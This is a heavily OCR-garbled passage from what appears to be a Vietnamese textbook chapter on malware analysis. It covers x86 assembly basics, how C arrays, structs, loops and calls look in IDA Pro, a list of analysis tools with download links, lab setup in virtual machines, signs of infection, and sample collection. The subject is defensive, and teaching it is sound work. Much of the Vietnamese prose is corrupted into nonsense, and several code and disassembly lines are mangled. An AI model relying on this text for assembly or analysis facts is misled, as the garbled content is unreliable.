L€ ¢ binWe diaun

Interrupt-
driven Keyboard .
Disks Monitor
" | |

M \ Printer
owe |

Disk controller USB controller Graphics adapter
(I [T [T

[8)
o

MEMORY I

Kién tric Hé théng may tinh hién dai
MM Pém dir liéu (local buffer)

Hinh3-1Ki Jjn tr %c CPU
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User 1 | | User 2 | | User 3 | | User 4 |

Hop ngtr Pb hoa Soan thao Co s& dir ligu

Cac chuong trinh tng dung

He dieu hanh

Phan citng

(]

Hinh3-2M* h3nh tr_u t+€ ng

Ng€ i cd¥%hygW chly h° Li Qu h " nh Windo

phfn kch8cg nhau. Khi ng€ i viJt che€ehr
b=yng nhi Qu ng'n ng. kh8c nhau v~ s
v c¢chly m«. C.n L°i v,i ng€ i phon
vi ¢ ng€ c '49i L- 17 LTph®HKitmehnp:se

m« ngu n L- v° hiWu L€ c.

Hinh:

Hinhtréngi Y%4p sinh vi°n c¢c- hiWu t ng gua
v’ tr2 c¢c.,a ng€ i phon t2ch m« |~ nh
ng'n ng., I dp tr3nh, phfnudk. i LOy s
M c artvare:L ©y |~ m ¢ vdt I T, ch a cé&c
c§c t° h p c¢c&c | nh logic Li n t r
phfn ncnngkh?®ng thW d, d"ng c:- thW cas
M ¢ Micrmcodmi crocode hae Microcndeg i I
hoUt L, ng tr°n sh LY d,ng €huwWnN-

L" i t_. nogchorc umg, clbkbe 1 ph€hng th_ ¢ L
c ng. Khi th ¢ hi n pho©n t2ch m«

mi crocode v3 n- lytithn L€ ¢ ch” r» b’
M ¢ Machine caowtle :ma(crhdi nm8y)ode <c¢h<€a
c8c kT t hexadecimal v° n-i c¢cho b
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m8y thing th€ ng L€ ¢ th ¢ hi n v_i
phfn ¢c. ng b°n d€ i c¢- thkeWttlo o at i
ch€ehng tr3nh m8y t2nh bdc cao L€ c
M ¢ Hevellanguages Ng! n ng. bdc thblp |~
phantih c¢- thw L ¢ 'k eblg . mNgpm™ nigi /b dw

ng. AsNgnhHiQnp t2ch m« L, c | "mvivi c
m« m8y kh- L c. Ng€ i phon t2ch s’
ngu - n vQ d4ng ng!'n ng. bdc thblp ass
M ¢ Hiegwhel | angugeslL€Ng!nhnQu bdp ¢t

S d. ng nh€e C,C++ v’™ m t s ngln n
bi °ns8@8 chuyWn sang dlng m« m8y.

M ¢ I nteanguagesl €d nlgtn ng. cblp cao
tr3nh vi°n s’ d, ng c8c ng!'!n ng. t ht
C8c m« vVviJJt khlng bi°n d ch th”"nh
sang bytecode.

n“i v.i phg®n t2ch m« L, c, cfn phrli
LW c- thwWw L ¢c L€ ¢ m« ngu n (° dUng
theo LO©y gi 8o tr3nh s&€ m: t[ t " ng
ki Jn tr Y CPU X 86

3.1.1 Ngpn ng Assembly 32bit

3.1.1.1 C& thanh ghi

-ESP tr, L/Jn Lfu stack
-EBP th€ ng d%ng LW ch a c&c L a ch
-EI'P tr, LJn | nh tiJlp theo

-EAX c¢ch_a c¢c8c biJn s° h ¢, logic, th
chia

-EBX thanh gi L a ch’

-ECX thanh gi LJ/Jm hlakp d¥%ng trong c8§
- EDX céc thao tac vao ra, cac phép tinh

-ESI EDI th<€ ng d%ng thao t8&c v,i ¢
C8c cy:
-0 ¢ tr"n, = 1 khi tr”"n b, nh,

Q

-P c chJ/un | T
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-Z ¢ -kfptrogqul b3xng khtng z=1
-S ¢° dblu s=1 th3® k/Jt qul ©m

-C ¢ nh,, kthigwh®&p: trrmh HKdHc me n
cy LiZu Kkhi On:

-T = 1 CPU chJj L, |I-tapph4Yy t_. ng | nh
-1 ¢ ngdt.

-D ¢ h€e. . ng, D =1 th3 cpu | "m vi ¢

Mit sX ¢c©u | Mnh c¢_ bd n:

-MOV g8n vJ ph[i cho v/J] tr §8i

-MOVSX thkki hvJ]Jntrg8i c¢c- L, d"i > hh
-MOVZX th, ¢ hi n khi vJ] tr8i to"n O
-LEA thanhGQgi,**nhh, v'o thanh gi
-XCHG ho8&n L i d. i u

-l NC ttng 1 Lhn v’

-DEC gi[m 1 Lhn v’

- ADD x1,x2 | x1 =x1 +x2

-ADC ¢, ng ph, thu, c v o0 c
-SUB tr .

-SBB tr ph_ t hu, ¢ c’ C, (c=1
-MUL Nh©n s° khtng dblu (mul ecx | ed
-l MUL nh®©n s° <c¢- dblu

-XADD th,. ¢ hi ' n Ifn I €t xchg v~ ad
-CMP so s8nh: sau khi th ¢ hi n t&§8c

C Z S
L2 ch=ngu’0n 1 0
L2 ch>Ngu 0n 0 0
L2ch< ngu n 0 1
-Test so s8nh (t8c L, ng S Z P fl ag)

-JMP nhly khtng LiQu ki n

-JEJZnhlTy nJju ¢ Z = 1 ,JIJNE JNZ ng+¥€
-JSnhly ®SABuL ¢’

-JPIPEKh [y ®BdAd, cJIJNP JIJNRE ng¥€ c
-JOnh[Ty ©®Bu Jd'NOI Hig€ c
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-JBnJjar C=1

-JBEnJJwr C or F=1

-JLn Jjar S<>O

-LOOP X, ECX >0 th?® nhly I °n L a ch
-MOVS: movstringsau L,gi {mmng8c thanh gi t %y
D=0t tddgl gi [m

-REP X th. ¢ hi n | Hp 149 X LJn khi

-LODS nYYp v~ o EAX

-STDOSXnUYp t. EAX v 0o X, sau Lo ting
-CPMS so s8nh 2 chu, i

-CALLX, Li v 0o th ¢ hi " n ° L a ch"™ X
LW ph, c

v, cho | nh ret.

-RET (retn) di chuyWn LJn RETX, ch L
sau Kkhi di c h utyrVénn gs €s tcalceka, r |X2ib yg& SeP
3.1.1.2ASM trénph n mzZm IDA pro

1. C8c ki Wu:

AByte xxxxxx-LL° a ch”™ xxxxx «hbye gi § tr  k:

AWord xxxxx-LL" a ch”® xxxxx ch_ a gi § tr  k*
ADword xxxxx-LL° a ch’™ xxxxx €k & diygetr  k
AQword xxxxxxLL" a ch”™ xxxxx ch_ a gi§ tr ' K

AUNk_xxxxx- Unknow type
2. M[ng, truy c¢cdp c¢c8c phfn t trong
V., i code C:
#include "stdafx.h"
int i,mang[10];
int _tmain(int argc, _ TCHAR* argv[])
{
mang[0]=1;
mang[1]=2;
mang[2]=3;
mang|[3]=4;
return O;
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}

‘€

no4n code tr°n hiWn th  trong | DA:
“ IDA - D:\My Project\Testtttttt\Release\xzoxze.exe
File Edit Jump Search View Debugger Options Windows Help
_QH @ v % i & @ mjﬁlﬁ?’.ﬁ"#@x P @ [ |windbg debugger -
{ I N
EFuncﬁons window g8 X IDA View-A %] ||§| Hex View-A
Functicn name Seql
z—""mai” texd _wmain proc near
%_security_check_cnokie(xj text mov dword_403370, 1
L7 _pre_cpp_init text mov dword_403374, 2
%_tmainCRTStartup text mow dword_403378, 3
[7] sLhzz et mowv dword_40337C, 4
|;star‘t dext Xor eax, eax
|| __report_gsfailure ted retn
z _ CedUnhandledExceptionFilter( EXCEPTION_POINTERS ) text _wmain endp
[F] sns ]
z _amsg_exit ted|
| F1 onexit tex
Hinh 3-3 M[ng hiM th trong IDA
V.i dword 403370 |~ L a ch" LFfu ti
byte [/ biJJn ) n°n c¢c8c phfnlént4, t i JJr
dword #3374, dword 403378, é
T€ehng . ng Vv, i
Mov dword 403370 ,1
Mov dword_403370+4,2
Mov dword_403370+8,3
Mov dword_403370 +12,4
V.i ¢c8c bifln ¢, c b, th3 s& L€ ¢ |
thu, ¢ stack. V,i t+31 v tr2 s& |

3. MIng d¥%ng cblp phs8t b,
int _tmain(int argc, TCHAR* argv[])
{
int *heap_array = (int*)malloc(3 * sizeof(int));
heap_mang[0] = 10;
heap_mang[1] = 20;
heap mang[2] = 30;
heap _mang[2] = 40;
}

nh,.

Code hiWn th trong | DA:
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“ IDA - D:\My Project\Testtttttt\ Release\xzoxzc. exe

File Edit Jump 5Search View Debugger Options Windows Help

e HEEG DS ¥ e D0 @ F-F X » O O |[Windbgdebugger

1
3

|z| Functions window g X IDA View-A D @ Hex Viey
F:Enction name Seq - _wmain proc near
[F] _wmain text push 0ch ; Size
E _ security_check_cookie(x) text call ds:malloc
[7] _pre_cpp_init dext mov dword ptr [eax], 0ah
F] __tmainCRTStartup text mov dword ptr [eax+4], 14h
7| SLN33 text mov dword ptr [eax+8], 1lEh
(7] start et mov dword ptr [eax+8], 28h
E __report_gsfailure et add esp, 4
[7] _CxUnhandledExceptionFilter EXCEPTION_POINTERS *) text )rfg:;n eax, eax
L] SLN5 text|_ .
(7 amsglest el _wmain endp
E __onexit tex
E _atexit tex
[F] cok An1AEA PN

Hinh3-4: Cblp ph8t b, nh, L

push OCh ;Sizeed¢€a si ze cfn cblp ph§gt

phat
call ds:malloc

AV h m mall oc sau

5

Lfu ti°n ¢, a mlng

MOVcacgi § tr t €hn

T€hng t . khi s
thi thay eax thanh EBP
4.Struct

#include <stdio.h>

#include "stdafx.h"

#include <malloc.h>

struct ch_struct

{ //kich thuoc

long x; /I 4 byte

shorty; /I 2byte

double z; //8byte

char c; /Il 1 byte

H

struct ch_struct teststruct;

int _tmain(int argc, _ TCHAR* argVv[])

93

g
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khhi egx i s&oolb_ ar
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ng c8c
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nh,.
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v

L€
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{

teststruct.x=10;
teststruct.y=20;
teststruct.z=30;
teststruct.c='a’;

File Edit Jump Search View Debugger Optipns Windows Help
BH e s S 3 o @O et e X > D O|vindgdebugger

g . N

(7] Functions window 8 X IDA View-A 0 Hex View
Function name Seai »

_wmain ted _wmain proc near

7] _secuiy_check cooki( tet || [Fld  ds:db1_4020e8

(] _pre_cpp_init ted mov eax, l4h

|f] _tmainCRTStartup tet | Imov  word_403384, ax
SLN33 tex fstp  db1_403388

start tex mov dword_403380, 0Ah
\f] _report_gsfailure text mov byte_403390, 61h
|f] _CoUnhandledExceptionFilter(_EXCEPTION_POINTERS*) text xor eax, eax

SLNS tet || |retn.

7] _amsg_exit ted | |-wmain endp

_onexit tex

_atexit tex

Hinh3-5: Cblu tr %c | €u bilJn t
Cblu tr¥%c L€ ¢ | €eu stack( bi/n
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Ltext:00401000 main Proc near
text: 00401000

Ltext 00401000 var 18 = dword ptr -18h

-text:00401000 var_ 14 = word ptr -14h

Ltext 00401000 var_ 12 = byte ptr -12h

-text:00401000 var_ 10 = dword ptr -10h

Ltext:00401000 var B = gword ptr -3

Ltext 00401000

Ltext: 00401000 push ebp

Ltext 00401001 Mo ebp, esp

Ltext 00401003 sub esp, 18h

.text:00401006 mow [ebp+var 18], 10

Ltext:oo401000 ma [ebp+var_14], 20

Ltext:00401013 mow [ebp+var_12], 30

Ltext:o0401017 ma [ebp+wvar_10], 40

Jtext:0040101E fld ds:dbl_408123

Ltext:00401024 fstp [ebpsvar_E]

Ltext: 00401027 x0T eax, eax

Ltext:00401029 Mo esp, ebp

Ltext:00401028 pop ebp

Ltext 00401020 retn

LAext:0040102C _main endp

Hinh3-6:Cblu tr Y%4c | €u bi Jn ¢, c b,

V.i EBP | €u | 4Yi L a bedt” Lcf,ua hESB .( L

5. M, t s c¢cblu tr¥%uc h™ m ch bl[n c¢c,a A

H

-L " nh 1 F, Cblu tr%c r€ nhg8nh
Trong ASM c¢c8c | nh I f th€ ng g m n

Q

nhXy tiJJp theo d,  a v"™0o c¢c8c ¢ k JJt ¢
vz d, :
.text:00401000 _wmain [roear
text:0001000 mov ecx, dword 403374 X
.text:00401006 mov eax, dword 403370- ¥
text:0040100B cmp ecx, eax -s%0 sanh XvaY
.text:0040100D jle short loc_401015 -y nJju Z

Flag =1 hoHc S flag # O flag ( t<€hn
theo nhly xu ' ng 401015 th, c hi n.

.text:0040100F mov  dword_403374, eax-gan X=Y, vu® nJ]
X>Yths jle s&€ khtng nhl[y ¢c©u | nh n°
.text:0001014 retn <retunY. Tho8t kh, i

khtng th ¢ hi n LoUn tiJlp theo
.text:00401015 loc_401015:

text:00401015 mov  eax, eexreturn X
1ext:00401017 retn

text:00401017 wmain  endp
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-V, ng | Hp, cblu tr¥%c | Hp

Cblu th" nh v, ng | Hpm tcrS8ocn g ~ MM jtuhm® n
c§8§c | nh ph2za tr°n LW th, c hiii n | 9j
vaicg8c | " nh kiWm tra LiQu ki n LW jum

vonglént °n v, i c¢c8&8c LiQu ki n LW ti/p t
so s8nh cho ra LiQu ki n L« sai [ I
V.i m i tr3nh bi°n d ch kh8c nhau s

Trong h3nh [nh ta c¢-
JL shorloc_401m1t0r jru mbWntghe @ Hi° n |
Mov dword_403370[eax*4],eax gan.

Cmp eax, OAh so s8nh v, i 10
. o y = . %
JJjump d,  a t.r°n Li Qu Kki n

o B @ alt ol @ F - # i X/ > O O [Wndodebuser <] @ #* §F
| x DA View-A B |[E  Hexview -A | E  structures |l
3
.t:xt _wma‘i n proc near
text mow dword 40337C, 4
text xor eax, eax
fext Tea esp, [esp+0]
= vy
text el s B

INTERS ™) .text
tet| loc_401010:
. movw dword_403370[eax*4], eax
tex inc eax
~tex cmp eax, 0ah
text jl short loc 401010

T

text
et *J
text bl s =3
et mow dword_403398, eax
fext xor eax, eax
B retn
. _wmain endp
text
text
text
text

Hinh3-6:Hi Wn th v ,ng | Hp tr°n |

V.i c¢c8c ddng v,ng | Hp, LiQu ki n Kk
nhau c¢c8c m« ASM hs&hnkgh &cr 3mhha uc htdw  t -~
| p v! h4n tufn ho"n s€&€ khlng c- C
ra ngoai.

6. Cblu tr%c ch bfn c¢c8c h" m th, t_c
C8§c LoYn h"m th, t_c ASM th<€ ng bdt
Push EBP
Mov ebp,esp
no4n n~"y Ihzha®Am m_ €u | 4Yi gi g€eurl Y &’
tr2 hi n tYi ¢, a stack v o ebp. Do

96



t

RET LW tr° vQ L a ch" tiJ]]Jp theo c_ a
s byte L« L€ ¢ LoUYn h" m n"y s d_n
V2 Id,an h"m MessageBoxA trong User 3
Ltl DA View-A @ Hex View-A | @ Structures } Lj Enums ‘ ﬁa Imports
; int __stdcall MessageBoxXEXA(HWND hwnd, LPCSTR TpText, LPCSTR IpCaption, UINT uType, WORD wLanguageld)
public _MessageBoxExAQ20
_MessageBoxExA@20 proc near
hwnd= dword ptr 8
TpMuTtiByteStr= dword ptr OCh
IpCaption= dword ptr 10h
uType= dword ptr 14h
wLanguageId= dword ptr 18h
mov edi, edi
push ebp
mov ebp, esp
push OFFFFFFFFh ;int
push [ebp+wLanguageId] ; int
push (ebp+uType] int
push (ebp+1pCaption] ; int
push [ebp+1pMultiByteStr] ; lpMultiByteStr
push (ebp+hwnd] ;int
call _MessageBoxTimeoutA@24 ; MessageBoxTimeoutA(x,x,x,x,x,x)
pop ebp
retn 14h
_MessageBoxExA@20 endp
Hinh3-72no4n h"m MessageBoxA trong
L i g i h" m:
S€ push c¢c8c thtng s° theo th t
push O ; uType
push offset Caption ; "thucaiiiiiiiiii"
push offset Text ;"thu cai nuaaaaa"
push O : hWwnd
call ds:MessageBoxA
B3nh th€ ng | nh push cu' i c¢c%ng s¢€
th, ¢ hi ' n s€&€.1" biJln cu’' i <c¢¥%ng
C8c offset LJjn c¢c8c chu,i s€& L€a VvV
A [ebp+wLanguageld] ; int
A [ebp+uType] ;ib
A [ebp+IpCaption] ; int

rong ESP s€&€ gilm Li 4 LW til]lp
LW nh, L a ch" c¢,a stack tg®€ ccgbi
bi Jn | €u trong stack tr<€ ¢ kh
Cuichhng tr3nh th€ ng c¢c- c¢c8d Baln |

t.

R
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A [ebp+IpMultiByteStr] ; IpMultiByteStr

A push [ebp+hWnd] ;int

L€u c8c bi/n | €©u trong stack tr€e ¢
hWnd= dword ptr 8

IpMultiByte Str= dword ptr 0Ch

IpCaption= dword ptr 10h

uType= dwordptr 14h

wLanguageld= dword ptr 18h

Gi§ tr° c¢c_,a c8c tr ics§c n"°yn Lc«hol @ c
push [ebp+uType] -« . | push [ebp+14h]

Khi g i h”"m MessageBoxA:

Nh€ trong h3nh tr°n t€hng . ng v, i \

MessageBoxA(0, "thu caiuaaaaa", "thucaiiiiiiiiii”, 0)

3.1.3M! i " ngrvdBAccongc h tr ph©n t2ch m« L
Do LHc tr€eng c_,a ctng Vvi ¢ phon 1t ?2

ph©n t2ch lutn ° trYng th8i sUYch, b
ph% h° p v, i mwoUt clL, nh2ecnha v3 vdy Vi
d ng mti tr<€ ng ph®©n t2ch v~° c8c ¢
L'i Qu cfFrdteiiJtlL,OyPhs€& gi. i thi u c8§c
gi Up sinh vi°n ¢c- ¢ch s , | "m quen o

t2cholLW8% che€ehng tiJ]Jp theo c¢c- thW t
th ¢ x©y d ng mti tr<€ ng ph©n t2ch,
n"i v.,i x©y d ng mti tr<€ ng, ng<¥€ i
Ffo LW ph®©®n t2ch. NJu s d, nmQms8y t
nh€ DeepFreeze LW L-ng btng | 4i °
|l 4i s&€ tr° 1 4i tr4Yng th8i nh€e ban L
3.1.3.1 B nmZm t omayd o

n"i v.i mti tr€ ng [o, ng€ i phon
virtual box LW x©y d, ng.
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|2 Windows XP Professional -

File Edit View VM Tabs Help

Pl b od |0 x| o

Libi x

] i} Home ] L) Windows XP Professional ]

| Q, Type here to search - |

o) il My Computer Fﬂthdows XP Professional

g E:f’;::xp A=t P Resume this virtual machine
1 back track 5 G Edit virtual machine settings
1 Ubuntu
(i vmauto v Devices
(i Malware_Analysis_Ima 8 Memory 512 MB
Shared VMs

[ Processors 1

= Hard Disk (SCS) & GB
+,)CD/DVD (IDE) Auto detect
Floppy Auto detect
¥ Network Adapter Bridged
USB Controller  Present

I Sound Card Auto detect

!] Display Auto detect

w Description

Type here to enter a description of this
virtual machine.

w Virtual Machine Details
State: Suspended
Configuration file: C:\Users\Amit\Documents\Virtual
Machines\Windows XP
Professional\Windows XP

Vmware:http://www.vmware.com

Oracle VM VirtualBox Manager
File Machine
New. Cerl+N

Ctrl+A {23 Details snapshots (1)

ctrl+o
Ctrl+R

-

- &) snapshot 1 (14/09/11 5:44 AM)

Sy 2 current state

Ctrl+L

n File Manager

e Shortcut on Desktop

Virtual box: http://virtualbox.org
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3.1.3.2 Cac phn mZm he tr1 phan tich
a) Phfn mQm | dp tr3nh

Dev C++- http://www.bloodshed.net/devcpp.html

Microsoft Visual C++-
http://www.microsoft.com/visualstudio/eus/products/2010
editions/visualcpp-express

Assemblers:

MASM - http://www.masm32.com/

NASM - http://www.nasm.us/

WinAsm (IDE) - http://www.winasm.net/

Langugages:

Python- http://python.org/

b) P h f rpham@cm

Qo

D' ch ng€ ¢ m« ngu n

IDA (5.0) - http://www.hex
rays.com/products/ida/support/downloaldtmi

IDAPython - http://code.google.com/p/idapython/

Phfn mQm d, I, i (Debugger)

OllyDbg - http://www.ollydbg.de/

Immunity Debugger
http://immunityinc.com/productsmmdbqg.shtml

Windbg - http://msdn.microsoft.com/en
us/windows/hardwiee/gg463009

Pydbg- http://code.google.com/p/paimei/
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http://www.bloodshed.net/devcpp.html
http://www.microsoft.com/visualstudio/en-us/products/2010-editions/visual-cpp-express
http://www.microsoft.com/visualstudio/en-us/products/2010-editions/visual-cpp-express
http://www.masm32.com/
http://www.masm32.com/
http://www.winasm.net/
http://www.winasm.net/
http://www.hex-rays.com/products/ida/support/download.shtml
http://www.hex-rays.com/products/ida/support/download.shtml
http://code.google.com/p/idapython/
http://www.ollydbg.de/
http://immunityinc.com/products-immdbg.shtml
http://msdn.microsoft.com/en-us/windows/hardware/gg463009
http://msdn.microsoft.com/en-us/windows/hardware/gg463009
http://code.google.com/p/paimei/

Phfn mQm xe mPHfilenh dUng

PEView - http://www.magma.ca/~wjr/

PEBrowse-
http://www.smidgeonsoft.prohosting.com/pebrowse
pro-file-viewer.html

LordPE-
http://www.woodmann.com/collaborative/tools/index.
php/LordPE

ImpRec-
http://www.woodmann.com/collaborative/tools/index.
php/ImpREC

PEid - http://www.peid.info/vi. ExeScan
http://securityxploded.com/exgcan.php

Phfn mQm ki Wm tra tiJn tr3nh Prc

ProcMon- http://technet.microsoft.com/en
us/sysinternals/bb896645

Process Explorer http://technet.microsoft.com/en
us/sysinternals/bb896653

Phfn mQm bdt g-i tin trong mUng

WireShark- http://www.wireshark.org/

TcpView - http://technet.microsoft.com/en
usiysinternals/bb897437

Phfn mQm t heo d»i S thay L i C.

Regshot:http://sourceforge.net/projects/regshot/

Capturebat http://www.honeynet.org/node/315

InstallWatchPro -
http://www.brothersoft.com/downloads/installwatch
pro-2.5c¢c.html



http://www.magma.ca/~wjr/
http://www.smidgeonsoft.prohosting.com/pebrowse-pro-file-viewer.html
http://www.smidgeonsoft.prohosting.com/pebrowse-pro-file-viewer.html
http://www.woodmann.com/collaborative/tools/index.php/LordPE
http://www.woodmann.com/collaborative/tools/index.php/LordPE
http://www.woodmann.com/collaborative/tools/index.php/ImpREC
http://www.woodmann.com/collaborative/tools/index.php/ImpREC
http://www.peid.info/%20vi.%20ExeScan%20-%20http:/securityxploded.com/exe-scan.php
http://www.peid.info/%20vi.%20ExeScan%20-%20http:/securityxploded.com/exe-scan.php
http://technet.microsoft.com/en-us/sysinternals/bb896645
http://technet.microsoft.com/en-us/sysinternals/bb896645
http://technet.microsoft.com/en-us/sysinternals/bb896653
http://technet.microsoft.com/en-us/sysinternals/bb896653
http://www.wireshark.org/
http://technet.microsoft.com/en-us/sysinternals/bb897437
http://technet.microsoft.com/en-us/sysinternals/bb897437
http://sourceforge.net/projects/regshot/
http://www.honeynet.org/node/315
http://www.brothersoft.com/downloads/installwatch-pro-2.5c.html
http://www.brothersoft.com/downloads/installwatch-pro-2.5c.html

FileMon - http://technet.microsoft.com/en
us/sysinternals/bb896642

C8c phfn mQm kh§8c

CFFexplorer- http://www.ntcore.com/esuite.php

Notepad++- http://notepadplus-plus.org/

Dependency walker
http://www.dependencywalker.com/

Sysinternal Tools http://technet.microsoft.com/en
us/sysinternals/bb842062

3.3Quy trinh phantichvax lymX m« hid

Cing vi ¢ ph©n t2ch m« L, c EF@®uecn’y
gi %up gihf%m tchhi/Wur _ i r o.

Trongguy tr3nh x |I'T m« L ¢ hYi bao g
3.31Nhdndin h th" ngb nhi m m«c hi va khoanh viing x ly

a. Phg8t hi n ra s, ¢~ h" th ' ng b
nhblt trong quly’ trBAnimgxb” [ hhi NBJum« L

Qo

Q

ph8&t hi -n tshwh g@&p rca hdu qul kh- | €
C- rblt nhiQu dblu hi u cho bi/Jt m t
Loy |~ m t v i dblu hi u th<€ ng t hbly

Dblu hi  u nhi_ m Virus

- H th ng t., L oggismgtadfofwn lhotucn g

H

- H th " ng ¢c- 2t b, nh, hhn b3nh th

- T°n m t °~ Loa b thay L i hay kh?
- C8c ch€ehng tr3nh v™ c¢8c file L, 6t
d. Task manager, Registry Editor

- C8c ch®ehnpgokc3file 1Y L€ ¢ tYo r a
- L€eu | € ng mng trong h’ th ng ttn
- Dblu hi " u nhi_, m Trojan

- M"n h3nh t d€ng c¢c- g n s-ng.

- Wallpaper c¢c,a m8y b thay L i
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http://technet.microsoft.com/en-us/sysinternals/bb896642
http://technet.microsoft.com/en-us/sysinternals/bb896642
http://www.ntcore.com/exsuite.php
http://notepad-plus-plus.org/
http://www.dependencywalker.com/
http://technet.microsoft.com/en-us/sysinternals/bb842062
http://technet.microsoft.com/en-us/sysinternals/bb842062

- Mu sdc ¢ a s Windows b thay L’
- Ch_ ¢ nktng chu, t tr8i, chu, t phTli
- Con tr, chu,t kht'ng xublt hi n, t,
- N%ut Windows Start khtng xublt hi n
Thanh Taskbar t, d€eng khlng xublt
- M8y t2nh b4ln t d€eng shutdown hoH

Dblu hi u nhi_ m Spywar e

- Trang web mHc L nh t L, ng thay L°
- Firewall v’ AngYi chshhg ErAaght dt .

-n"n b8o mUlng nhblp nh8&8y nhi Qu.

- Khtng thw tdat L€ ¢ hJJt c8§c popup

- Ch€hng tr3nh m,_ i t L. ng trong m,

- C- 1 v'i icon v”" shortcuts |94 n3m
tray hoHc tbYm. desktop c. a

- NguchuyWn t_ i 1 m t trang | 49 thay
t3m t hbly.

- BYn nhdn clnh b8o li°n t_c t_. fir

r»> r°"ng hoHc m t tiJjn tr3nh n”"o L
- BYn nhdn L€ ¢ m t s nérdani It hdblya yc -t
emai |t g i Li
- Tr3nh duy t web c¢c.,a bdn ch4y chdm
- C- thanh tool bar xulisbtwsehi " n 1 4 t h€

Tr°n LO©y | " nh_ng dblu hi u th€
m« L, c hYi. Ngo~ih°rma cc§c tdnbW thhia nu kk
trangweb vQ blFo mdt, vQ m« L, ¢ hyj
b. Sau khi nhdn di " n L€ ¢c h' th’ ng

-Khoanh v¥%¥ng x I T (c8&8ch |y c8c m8§y
L. c hyi).
-Ghi 1'9i ng~ "y gi pchhdngtintién'quan. m« L ¢ |

-nW nguy°n t3nh trUdng c, a phfn c. ng,
b nhi_ m.
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H

-X8c L nh h th "  ng b nhi_ m m« L, c I
Ahtng tin vQ h LiQu h"nh Lang s d
ATr3nh duy t Web.

AFirewall.

ACg&c tr3nh blFo v m8&y hi n th i L« ¢
T. L- ta x8c L nh L€ ¢ c8c modul es
drivers,cacaddn tr3nh duy t, phi°n bl[n h°
c- |i°n quan LJn hoYYt L ng c¢c_, a m« L
LW sau n"y c¢- thWIxagc vl nthdingsudaon Ig
thing qua L©u? n"ng th i clnghr” sc
c- b I .,i blFo mdt n"o khtng.

Tr°n LO©y | nh_ng h"nh L, ng ng€ i
b nhi. m m« L ¢ h4i. Th+¥€ nlg’ tmdmag:
L€ ¢ mXu r° i th, ¢ hi ' n ph©n t2ch. -

an to"n thlng tin hay m t quln tr’

b€ ¢ ban LFu s€& giWwp 2ch ctng Vvi ¢

3.22Thuthdo m¥ m«c hdl

Thut h ah virus, maL  laquatrinhtimracacfile n h i virus, cac

file nghin g'h h i virmstrongh 't h " mhgum & 2 aghiénc  u ,

phantichvah™ Kk, i

Th€ ng c¢c- rblt nhiQu c¢c8ch LW c¢c- th

khing n°u c8c ph€ehng px8§p 6 kLWhdi tmh

chuy®°n nghi p nh€e x©y d. ng h th  ng

mQm di t virusé. HoHc | Bly mXu t_. kh

chia sT tr°n mng, mua t. <c8c h«ng
NJu mu’  n t ham khtflodp Qm olh ey prodi t

tham khl[o c8c . ng d, ng thu thdp m«

http://www.honeyclient.org/trac

http://nepenthes.carnivore.it/

http://sourceforge.net/projects/amunhoney/

Loy ta L. ng =~ Vv i tr, |7 m t sys¢
L€emx L, c¢c h4i tr°n ch2nh h th ng L
thbly ¢+ c¢c8c file th,c thi 'Y tre°n h

104



v L Ht md t khXu sau L- mang Li pho
gi 8m s 8t h' th ng nhr€ nfhr onc'eos sl 4 Wk hxt

c8ch xem c8i n"o tYo ra ti/n tr3nh
n- | 99 mang Li phon t2ch.

vz d, : M, t m« L, ¢ hUi khg§8 n" i
trong c8c cu, c tbin clng DDo%$ge n- |-
tr°n m8y nUn nh©n, tham gia v~ o m t

tbln c*ng. T. dblu hi u | €u | € ng mUr
phfn mQm ki Wm tra vQ tiJjn tr3nh v~
L©u. Sau L- | bly mXu v mang Li phon
Ngo"i ra ¢c- 1 ch€ehng tr3nh kh§ n i
mQm Si cwi n.
http://www.trendmicro.com/ftp/products/sic/SIC_5.5 build_1017.zip

Phfn mQm n"y s€&€ qu®t h th ng v~ L€
thing tin vQ c8¢c hfdil esidnlhl rlad ,d oc &«
sau L s& n®n chwng | Yimatnhg” nfhi |fei lze |
L i pho©n t2ch.

B°n c¢cYnh L - nge€ i ph©n t2ch ©c-

Malwarebytes AntMa | ware LW t3m c8c mXu hi’
c h€hrnsgnht ngo " i khlT nktng ph§t hi n

file nghi ng v° ¢l L€ ng dXn c_ a

thdp mXu thudn | i hhn.

MBAM - Malwarebytes AntMa | war e | - phfn mQ m
Mal ware m" theo nhiHuchi/pg€ 3imnvhdndix
thtng minh (LHc bi t L°i v,i c8c |
Au, M: . . . ).

Nh® khl,' ntng ph©n t2ch thing minh |
fiJe nghi ng m°~ MBAM L€ ¢ s d, ng
h i u qufl.

C8c s d, ng ch€ehng tr3nh n"y khlng
hi n nh_ng b€ ¢c nh€® sau L i v, i phf
T ¢ h €h nbg t @tp:Mdbwnldadicnet.com/3068022 4
1080452.html?spi=26f02dc7e2587a24758db83309d182f5
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http://download.cnet.com/3001-8022_4-
http://download.cnet.com/3001-8022_4-

B€ ¢ 1: Ng€ i phon t2ch th, c hi n
m8&y) r i bln Scan

Scanner Protection Update Quarantine Logs Ignore List Settings Mare Tools About

1 Scanner
n ) The scanner can find and remove malicious software present on your system. Please select a scan type and click ‘Scan’. Please close
= all unnecessaty applications to mprove scan pesformance.

Please select a scan type below.

() Perform quick scan
A quick scan utiizes ow ursque fast scanning technology to scan your system for malicious software,

@ Perform full scan
A full scan will scan all fles on the selected diive(s). A quick scan is recommended in most cases,

) Perform flash scan
A llash scan will analyze memory and autorun objects. [tis only available to ow icensed users.

Puchase

Hinh39 Gi ao di n ch€hng tr3nh
B€ ¢ 2 : Sau khi qu®t xong, ng€ i phec
L€ ¢ k/tsauqul[ nhe
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Scanner

Protection

Update = Quaranting

Logs | lIgnorelist | Setlings | Moee Tools | Aboul

Scanner

4 ‘ Below is a hst of malicious software found on your system. Close all unnecessaty apphcations to ensure successful theeat removal
v

Vendot

@ Trojan.Agent
% Trojan.Agent
& Trojan.Agent

& Worm.AutoRun
Y Vorm.AutoRun
%k Worm.AutoRu...

@ Worm.AutoRun

Category
Foldet

Fie
Fie
Folder
Fie
Fie

Item

cARECYCLER\:1-5:21-0243936033-305211...
cARECYCLER\s1-5:21-0243936033-305211...
cARECYCLER\:1-5:21.0243936033.305211...
c\RECYCLERN:1-5:21-0243556031-888888...
c¢\RECYCLER\s-1-5-21-0243556031-888888..,

cARECYCLER\s-1-5-21-0243556031-888888

cARECYCLER\-1-5-21-1482476501-164443 ..

cARECYCLER\-1-5-21-1482476501-164443..

Other

Action taken

No action taken.
No action taken.
No achon taken.
No action taken
No action taken.
No action taken
No action taken.

No action taken

[¥] & Worm.AutoRu...
W PUM.Disabied....

Registy Data

[ Remove Selected

cARECYCLER\1-5-21-1482476501-164449...
HKEY_LOCAL_MACHINENSOFTWARE \Mics...

Bad (1) Good (0)

